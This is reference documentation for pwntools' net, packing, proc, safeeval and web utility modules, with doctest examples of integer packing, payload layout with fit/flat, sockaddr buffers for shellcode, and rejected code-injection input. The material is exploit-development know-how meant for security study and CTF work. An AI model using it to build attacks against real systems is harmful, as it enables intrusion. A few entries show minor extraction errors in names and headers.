A wrapper for libc's `getifaddrs`.

Parameters None –

Returns list of dictionaries each representing a *struct ifaddrs*. The dictionaries have the fields *name*, *flags*, *family*, *addr* and *netmask*. Refer to `getifaddrs(3)` for details. The fields *addr* and *netmask* are themselves dictionaries. Their structure depend on *family*. If *family* is not `socket.AF_INET` or `socket.AF_INET6` they will be empty.

`pwnlib.util.net.interfaces` (*all*=False) → dict

Parameters

- **all** (*bool*) – Whether to include interfaces with not associated address.
- **Default** – False.

Returns A dictionary mapping each of the hosts interfaces to a list of it's addresses. Each entry in the list is a tuple (*family*, *addr*), and *family* is either `socket.AF_INET` or `socket.AF_INET6`.

`pwnlib.util.net.interfaces4` (*all*=False) → dict

As `interfaces()` but only includes IPv4 addresses and the lists in the dictionary only contains the addresses not the family.

Parameters

- **all** (*bool*) – Whether to include interfaces with not associated address.
- **Default** – False.

Returns A dictionary mapping each of the hosts interfaces to a list of it's IPv4 addresses.

`pwnlib.util.net.interfaces6` (*all*=False) → dict

As `interfaces()` but only includes IPv6 addresses and the lists in the dictionary only contains the addresses not the family.

Parameters

- **all** (*bool*) – Whether to include interfaces with not associated address.
- **Default** – False.

Returns A dictionary mapping each of the hosts interfaces to a list of it's IPv6 addresses.

`pwnlib.util.net.sockaddr` (*host*, *port*, *network*='ipv4') -> (*data*, *length*, *family*)

Creates a `sockaddr_in` or `sockaddr_in6` memory buffer for use in shellcode.

Parameters

- **host** (*str*) – Either an IP address or a hostname to be looked up.

- **port** (*int*) – TCP/UDP port.
- **network** (*str*) – Either ‘ipv4’ or ‘ipv6’.

Returns A tuple containing the sockaddr buffer, length, and the address family.

2.31 pwnlib.util.packing — Packing and unpacking of strings

Module for packing and unpacking integers.

Simplifies access to the standard `struct.pack` and `struct.unpack` functions, and also adds support for packing/unpacking arbitrary-width integers.

The packers are all context-aware for `endian` and `signed` arguments, though they can be overridden in the parameters.

Examples

```
>>> p8(0)
b'\x00'
>>> p32(0xdeadbeef)
b'\xef\xbe\xad\xde'
>>> p32(0xdeadbeef, endian='big')
b'\xde\xad\xbe\xef'
>>> with context.local(endian='big'): print(repr(p32(0xdeadbeef)))
b'\xde\xad\xbe\xef'
```

Make a frozen packer, which does not change with context.

```
>>> p = make_packer('all')
>>> p(0xff)
b'\xff'
>>> p(0x1fff)
b'\xff\x01'
>>> with context.local(endian='big'): print(repr(p(0x1fff)))
b'\xff\x01'
```

`pwnlib.util.packing.dd(dst, src, count=0, skip=0, seek=0, truncate=False) → dst`

Inspired by the command line tool `dd`, this function copies `count` byte values from offset `seek` in `src` to offset `skip` in `dst`. If `count` is 0, all of `src[seek:]` is copied.

If `dst` is a mutable type it will be updated. Otherwise a new instance of the same type will be created. In either case the result is returned.

`src` can be an iterable of characters or integers, a unicode string or a file object. If it is an iterable of integers, each integer must be in the range `[0;255]`. If it is a unicode string, its UTF-8 encoding will be used.

The seek offset of file objects will be preserved.

Parameters

- **dst** – Supported types are `:class:file`, `:class:list`, `:class:tuple`, `:class:str`, `:class:bytearray` and `:class:unicode`.
- **src** – An iterable of byte values (characters or integers), a unicode string or a file object.
- **count** (*int*) – How many bytes to copy. If `count` is 0 or larger than `len(src[seek:])`, all bytes until the end of `src` are copied.

- **skip** (*int*) – Offset in *dst* to copy to.
- **seek** (*int*) – Offset in *src* to copy from.
- **truncate** (*bool*) – If *:const:True*, *dst* is truncated at the last copied byte.

Returns A modified version of *dst*. If *dst* is a mutable type it will be modified in-place.

Examples

```
>>> dd(tuple(b'Hello!'), '?', skip=5)
(72, 101, 108, 108, 111, 63)
>>> dd(list(b'Hello!'), (63,), skip=5)
[72, 101, 108, 108, 111, 63]
>>> write('/tmp/foo', 'A' * 10)
>>> _ = dd(open('/tmp/foo'), open('/dev/zero'), skip=3, count=4)
>>> read('/tmp/foo', mode='rb')
b'AAA\x00\x00\x00\x00AAA'
>>> write('/tmp/foo', 'A' * 10)
>>> _ = dd(open('/tmp/foo'), open('/dev/zero'), skip=3, count=4, truncate=True)
>>> read('/tmp/foo', mode='rb')
b'AAA\x00\x00\x00\x00'
```

`pwntools.util.packing.fit` (*pieces*, *filler=de_bruijn()*, *length=None*, *preprocessor=None*) → bytes
 Generates a bytes from a dictionary mapping offsets to data to place at that offset.

For each key-value pair in *pieces*, the key is either an offset or a byte sequence. In the latter case, the offset will be the lowest index at which the sequence occurs in *filler*. See examples below.

Each piece of data is passed to `flat()` along with the keyword arguments *word_size*, *endianness* and *sign*.

Space between pieces of data is filled out using the iterable *filler*. The *n*'th byte in the output will be byte at index `n % len(iterable)` byte in *filler* if it has finite length or the byte at index *n* otherwise.

If *length* is given, the output will padded with bytes from *filler* to be this size. If the output is longer than *length*, a `ValueError` exception is raised.

If entries in *pieces* overlap, a `ValueError` exception is raised.

Parameters

- **pieces** – Offsets and values to output.
- **length** – The length of the output.
- **filler** – Iterable to use for padding.
- **preprocessor** (*function*) – Gets called on every element to optionally transform the element before flattening. If `None` is returned, then the original value is used.
- **word_size** (*int*) – Word size of the converted integer.
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”).
- **sign** (*str*) – Signedness of the converted integer (False/True)

Examples

```
>>> fit({12: 0x41414141,
...      24: b'Hello',
...      })
```

```
b'aaaabaaacaaaAAAAdaaaeaaaHello'
>>> fit({b'caaa': b''})
b'aaaabaaa'
>>> fit({12: b'XXXX'}, filler=b'AB', length=20)
b'ABABABABABABXXXXABAB'
>>> fit({8: [0x41414141, 0x42424242],
...      20: b'CCCC'})
b'aaaabaaaAAAABBBBcaaaCCCC'
```

`pwnlib.util.packing.flat` (*args, *preprocessor=None*, *word_size=None*, *endianness=None*, *sign=None*)

Flattens the arguments into a bytes.

This function takes an arbitrary number of arbitrarily nested lists and tuples. It will then find every string and number inside those and flatten them out. Strings are inserted directly while numbers are packed using the `pack()` function.

The three kwargs `word_size`, `endianness` and `sign` will default to using values in `pwnlib.context` if not specified as an argument.

Parameters

- **args** – Values to flatten
- **preprocessor** (*function*) – Gets called on every element to optionally transform the element before flattening. If `None` is returned, then the original value is used.
- **word_size** (*int*) – Word size of the converted integer.
- **endianness** (*str*) – Endianness of the converted integer (“little”/”big”).
- **sign** (*str*) – Signedness of the converted integer (False/True)

Examples

```
>>> flat(1, "test", [[["AB"] * 2] * 3], endianness='little', word_size=16, sign=False)
b'\x01\x00testABABABABABAB'
>>> flat([1, [2, 3]], preprocessor=lambda x: str(x+1))
b'234'
```

`pwnlib.util.packing.make_packer` (*word_size=None*, *endianness=None*, *sign=None*) → number
→ bytes

Creates a packer by “freezing” the given arguments.

Semantically calling `make_packer(w, e, s)(data)` is equivalent to calling `pack(data, w, e, s)`. If `word_size` is one of 8, 16, 32 or 64, it is however faster to call this function, since it will then use a specialized version.

Parameters

- **word_size** (*int*) – The word size to be baked into the returned packer or the string all.
- **endianness** (*str*) – The endianness to be baked into the returned packer. (“little”/”big”)
- **sign** (*str*) – The signness to be baked into the returned packer. (“unsigned”/”signed”)
- **kwargs** – Additional context flags, for setting by alias (e.g. `endian=` rather than `index`)

Returns A function, which takes a single argument in the form of a number and returns a string of that number in a packed form.

Examples

```
>>> p = make_packer(32, endian='little', sign='unsigned')
>>> p
<function _p32lu at 0x...>
>>> p(42)
b'*\x00\x00\x00'
>>> p(-1)
Traceback (most recent call last):
...
error: integer out of range for 'I' format code
>>> make_packer(33, endian='little', sign='unsigned')
<function make_packer.<locals>.<lambda> at 0x...>
```

`pwntools.util.packing.make_unpacker` (*word_size=None*, *endianness=None*, *sign=None*, ***kwargs*) → bytes → number

Creates a unpacker by “freezing” the given arguments.

Semantically calling `make_unpacker(w, e, s)` (*data*) is equivalent to calling `unpack(data, w, e, s)`. If *word_size* is one of 8, 16, 32 or 64, it is however faster to call this function, since it will then use a specialized version.

Parameters

- **word_size** (*int*) – The word size to be baked into the returned packer.
- **endianness** (*str*) – The endianness to be baked into the returned packer. (“little”/“big”)
- **sign** (*str*) – The signness to be baked into the returned packer. (“unsigned”/“signed”)
- **kwargs** – Additional context flags, for setting by alias (e.g. *endian=* rather than *index*)

Returns A function, which takes a single argument in the form of a string and returns a number of that string in an unpacked form.

Examples

```
>>> u = make_unpacker(32, endian='little', sign='unsigned')
>>> u
<function _u32lu at 0x...>
>>> hex(u(b'/bin'))
'0x6e69622f'
>>> u(b'abcde')
Traceback (most recent call last):
...
error: unpack requires a string argument of length 4
>>> make_unpacker(33, endian='little', sign='unsigned')
<function make_unpacker.<locals>.<lambda> at 0x...>
```

`pwntools.util.packing.p16` (*number*, *sign*, *endian*, ...) → str

Packs an 16-bit integer

Parameters

- **number** (*int*) – Number to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/“signed”)
- **kwargs** (*dict*) – Arguments passed to `context.local()`, such as *endian* or *signed*.

Returns The packed number as a string

`pwnlib.util.packing.p32` (*number*, *sign*, *endian*, ...) → str
Packs an 32-bit integer

Parameters

- **number** (*int*) – Number to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/“signed”)
- **kwargs** (*dict*) – Arguments passed to `context.local()`, such as `endian` or `signed`.

Returns The packed number as a string

`pwnlib.util.packing.p64` (*number*, *sign*, *endian*, ...) → str
Packs an 64-bit integer

Parameters

- **number** (*int*) – Number to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/“signed”)
- **kwargs** (*dict*) – Arguments passed to `context.local()`, such as `endian` or `signed`.

Returns The packed number as a string

`pwnlib.util.packing.p8` (*number*, *sign*, *endian*, ...) → str
Packs an 8-bit integer

Parameters

- **number** (*int*) – Number to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/“signed”)
- **kwargs** (*dict*) – Arguments passed to `context.local()`, such as `endian` or `signed`.

Returns The packed number as a string

`pwnlib.util.packing.pack` (*number*, *word_size=None*, *endianness=None*, *sign=None*, ****kwargs**) → bytes
Packs arbitrary-sized integer.

Packs arbitrary-sized integer.

Word-size, endianness and signedness is done according to context.

word_size can be any positive number or the string “all”. Choosing the string “all” will output a string long enough to contain all the significant bits and thus be decodable by `unpack()`.

word_size can be any positive number. The output will contain `word_size/8` rounded up number of bytes. If *word_size* is not a multiple of 8, it will be padded with zeroes up to a byte boundary.

Parameters

- **number** (*int*) – Number to convert
- **word_size** (*int*) – Word size of the converted integer or the string ‘all’.
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (False/True)
- **kwargs** – Anything that can be passed to `context.local`

Returns The packed number as a string.

Examples

```
>>> pack(0x414243, 24, 'big', True)
b'ABC'
>>> pack(0x414243, 24, 'little', True)
b'CBA'
>>> pack(0x814243, 24, 'big', False)
b'\x81BC'
>>> pack(0x814243, 24, 'big', True)
Traceback (most recent call last):
...
ValueError: pack(): number does not fit within word_size
>>> pack(0x814243, 25, 'big', True)
b'\x00\x81BC'
>>> pack(-1, 'all', 'little', True)
b'\xff'
>>> pack(-256, 'all', 'big', True)
b'\xff\x00'
>>> pack(0x0102030405, 'all', 'little', True)
b'\x05\x04\x03\x02\x01'
>>> pack(-1)
b'\xff\xff\xff\xff'
>>> pack(0x80000000, 'all', 'big', True)
b'\x00\x80\x00\x00\x00'
```

pwnlib.util.packing.**routine** (*number*)
 u32(number, sign, endian, ...) -> int

Unpacks an 32-bit integer

Parameters

- **data** (*bytes*) – Bytes to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/”big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/”signed”)
- **kwargs** (*dict*) – Arguments passed to context.local(), such as endian or signed.

Returns The unpacked number

pwnlib.util.packing.**u16** (*number, sign, endian, ...*) → int
 Unpacks an 16-bit integer

Parameters

- **data** (*bytes*) – Bytes to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/”big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/”signed”)
- **kwargs** (*dict*) – Arguments passed to context.local(), such as endian or signed.

Returns The unpacked number

pwnlib.util.packing.**u32** (*number, sign, endian, ...*) → int
 Unpacks an 32-bit integer

Parameters

- **data** (*bytes*) – Bytes to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/“signed”)
- **kwargs** (*dict*) – Arguments passed to `context.local()`, such as `endian` or `signed`.

Returns The unpacked number

`pwnlib.util.packing.u64` (*number, sign, endian, ...*) → int
Unpacks an 64-bit integer

Parameters

- **data** (*bytes*) – Bytes to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/“signed”)
- **kwargs** (*dict*) – Arguments passed to `context.local()`, such as `endian` or `signed`.

Returns The unpacked number

`pwnlib.util.packing.u8` (*number, sign, endian, ...*) → int
Unpacks an 8-bit integer

Parameters

- **data** (*bytes*) – Bytes to convert
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (“unsigned”/“signed”)
- **kwargs** (*dict*) – Arguments passed to `context.local()`, such as `endian` or `signed`.

Returns The unpacked number

`pwnlib.util.packing.unpack` (*data, word_size=None, endianness=None, sign=None, **kwargs*) → int
Packs arbitrary-sized integer.

Word-size, endianness and signedness is done according to context.

word_size can be any positive number or the string “all”. Choosing the string “all” is equivalent to `len(data)*8`.

If *word_size* is not a multiple of 8, then the bits used for padding are discarded.

Parameters

- **data** (*bytes*) – Bytes to convert
- **word_size** (*int*) – Word size of the converted integer or the string “all”.
- **endianness** (*str*) – Endianness of the converted integer (“little”/“big”)
- **sign** (*str*) – Signedness of the converted integer (False/True)
- **kwargs** – Anything that can be passed to `context.local`

Returns The unpacked number.

Examples

```
>>> hex(unpack(b'\xaa\x55', 16, endian='little', sign=False))
'0x55aa'
>>> hex(unpack(b'\xaa\x55', 16, endian='big', sign=False))
'0xaa55'
>>> hex(unpack(b'\xaa\x55', 16, endian='big', sign=True))
'-0x55ab'
>>> hex(unpack(b'\xaa\x55', 15, endian='big', sign=True))
'0x2a55'
>>> hex(unpack(b'\xff\x02\x03', 'all', endian='little', sign=True))
'0x302ff'
>>> hex(unpack(b'\xff\x02\x03', 'all', endian='big', sign=True))
'-0xfdfd'
```

`pwnlib.util.packing.unpack_many` (*data*, *word_size=None*)
`unpack`(*data*, *word_size=None*, *endianness=None*, *sign=None*) -> int list

Splits *data* into groups of *word_size*//8 bytes and calls `unpack()` on each group. Returns a list of the results.

word_size must be a multiple of 8 or the string “all”. In the latter case a singleton list will always be returned.

Args *data* (bytes): Bytes to convert *word_size* (int): Word size of the converted integers or the string “all”.
endianness (str): Endianness of the converted integer (“little”/“big”) *sign* (str): Signedness of the converted integer (False/True) *kwargs*: Anything that can be passed to `context.local`

Returns The unpacked numbers.

Examples

```
>>> list(map(hex, unpack_many(b'\xaa\x55\xcc\x33', 16, endian='little', sign=False)))
['0x55aa', '0x33cc']
>>> list(map(hex, unpack_many(b'\xaa\x55\xcc\x33', 16, endian='big', sign=False)))
['0xaa55', '0xcc33']
>>> list(map(hex, unpack_many(b'\xaa\x55\xcc\x33', 16, endian='big', sign=True)))
['-0x55ab', '-0x33cd']
>>> list(map(hex, unpack_many(b'\xff\x02\x03', 'all', endian='little', sign=True)))
['0x302ff']
>>> list(map(hex, unpack_many(b'\xff\x02\x03', 'all', endian='big', sign=True)))
['-0xfdfd']
```

2.32 pwnlib.util.proc — Working with /proc/

`pwnlib.util.proc.ancestors` (*pid*) → int list

Parameters *pid* (*int*) – PID of the process.

Returns List of PIDs of whose parent process is *pid* or an ancestor of *pid*.

`pwnlib.util.proc.children` (*ppid*) → int list

Parameters *pid* (*int*) – PID of the process.

Returns List of PIDs of whose parent process is *pid*.

`pwnlib.util.proc.cmdline` (*pid*) → str list

Parameters `pid` (*int*) – PID of the process.

Returns A list of the fields in `/proc/<pid>/cmdline`.

`pwnlib.util.proc.cwd` (*pid*) → str

Parameters `pid` (*int*) – PID of the process.

Returns The path of the process's current working directory. I.e. what `/proc/<pid>/cwd` points to.

`pwnlib.util.proc.descendants` (*pid*) → dict

Parameters `pid` (*int*) – PID of the process.

Returns Dictionary mapping the PID of each child of *pid* to its descendants.

`pwnlib.util.proc.exe` (*pid*) → str

Parameters `pid` (*int*) – PID of the process.

Returns The path of the binary of the process. I.e. what `/proc/<pid>/exe` points to.

`pwnlib.util.proc.name` (*pid*) → str

Parameters `pid` (*int*) – PID of the process.

Returns Name of process as listed in `/proc/<pid>/status`.

Example

```
>>> name(os.getpid()) == os.path.basename(sys.argv[0])
True
```

`pwnlib.util.proc.parent` (*pid*) → int

Parameters `pid` (*int*) – PID of the process.

Returns Parent PID as listed in `/proc/<pid>/status` under `PPid`, or 0 if there is not parent.

`pwnlib.util.proc.pid_by_name` (*name*) → int list

Parameters `name` (*str*) – Name of program.

Returns List of PIDs matching *name* sorted by lifetime, youngest to oldest.

Example

```
>>> os.getpid() in pid_by_name(name(os.getpid()))
True
```

`pwnlib.util.proc.pidof` (*target*) → int list

Get PID(s) of *target*. The returned PID(s) depends on the type of *target*:

- *str*: PIDs of all processes with a name matching *target*.
- `pwnlib.tubes.process.process`: singleton list of the PID of *target*.
- `pwnlib.tubes.sock.sock`: singleton list of the PID at the remote end of *target* if it is running on the host. Otherwise an empty list.

Parameters `target` (*object*) – The target whose PID(s) to find.

Returns A list of found PIDs.

`pwnlib.util.proc.starttime(pid)` → float

Parameters `pid(int)` – PID of the process.

Returns The time (in seconds) the process started after system boot

`pwnlib.util.proc.stat(pid)` → str list

Parameters `pid(int)` – PID of the process.

Returns A list of the values in `/proc/<pid>/stat`, with the exception that `(` and `)` has been removed from around the process name.

`pwnlib.util.proc.state(pid)` → str

Parameters `pid(int)` – PID of the process.

Returns State of the process as listed in `/proc/<pid>/status`. See `proc(5)` for details.

Example

```
>>> state(os.getpid())
'R (running)'
```

`pwnlib.util.proc.status(pid)` → dict

Get the status of a process.

Parameters `pid(int)` – PID of the process.

Returns The contents of `/proc/<pid>/status` as a dictionary.

`pwnlib.util.proc.tracer(pid)` → int

Parameters `pid(int)` – PID of the process.

Returns PID of the process tracing `pid`, or `None` if no `pid` is not being traced.

Example

```
>>> tracer(os.getpid()) is None
True
```

`pwnlib.util.proc.wait_for_debugger(pid)` → None

Sleeps until the process with PID `pid` is being traced.

Parameters `pid(int)` – PID of the process.

Returns None

2.33 `pwnlib.util.safeeval` — Safe evaluation of python code

`pwnlib.util.safeeval.const(expression)` → value

Safe Python constant evaluation

Evaluates a string that contains an expression describing a Python constant. Strings that are not valid Python expressions or that contain other code besides the constant raise `ValueError`.

Examples

```
>>> const("10")
10
>>> const("[1,2, (3,4), {'foo':'bar'}]")
[1, 2, (3, 4), {'foo': 'bar'}]
>>> const("[1]+[2]")
Traceback (most recent call last):
...
ValueError: opcode BINARY_ADD not allowed
```

`pwnlib.util.safeeval.expr(expression) → value`
Safe Python expression evaluation

Evaluates a string that contains an expression that only uses Python constants. This can be used to e.g. evaluate a numerical expression from an untrusted source.

Examples

```
>>> expr("1+2")
3
>>> expr("[1,2]*2")
[1, 2, 1, 2]
>>> expr("__import__('sys').modules")
Traceback (most recent call last):
...
ValueError: opcode LOAD_NAME not allowed
```

`pwnlib.util.safeeval.test_expr(expr, allowed_codes) → codeobj`

Test that the expression contains only the listed opcodes. If the expression is valid and contains only allowed codes, return the compiled code object. Otherwise raise a `ValueError`

`pwnlib.util.safeeval.values(expression, dict) → value`
Safe Python expression evaluation

Evaluates a string that contains an expression that only uses Python constants and values from a supplied dictionary. This can be used to e.g. evaluate e.g. an argument to a syscall.

Note: This is potentially unsafe if e.g. the `__add__` method has side effects.

Examples

```
>>> values("A + 4", {'A': 6})
10
>>> class Foo:
...     def __add__(self, other):
...         print("Firing the missiles")
>>> values("A + 1", {'A': Foo()})
Firing the missiles
>>> values("A.x", {'A': Foo()})
Traceback (most recent call last):
...
ValueError: opcode LOAD_ATTR not allowed
```

2.34 `pwnlib.util.web` — Utilities for working with the WWW

`pwnlib.util.web.wget` (*url*, *save=None*, *timeout=5*) → bytes

Downloads a file via HTTP/HTTPS.

Parameters

- **url** (*str*) – URL to download
- **save** (*bytes*, *str*, *bool*) – Name to save as. Any truthy value will auto-generate a name based on the URL.
- **timeout** (*int*) – Timeout, in seconds

Example

```
>>> url = 'https://httpbin.org/robots.txt'
>>> result = wget(url)
>>> result
b'User-agent: *\nDisallow: /deny\n'
>>> result2 = wget(url, True)
>>> result == open('robots.txt', 'rb').read()
True
```

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- color {always,never,auto}
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- , -show
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 - context {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,powerpc,aarch64,sparc64,msp430,mips64,sparc,alpha,thumb,amd64,cris,mips,s390,ppc64le}
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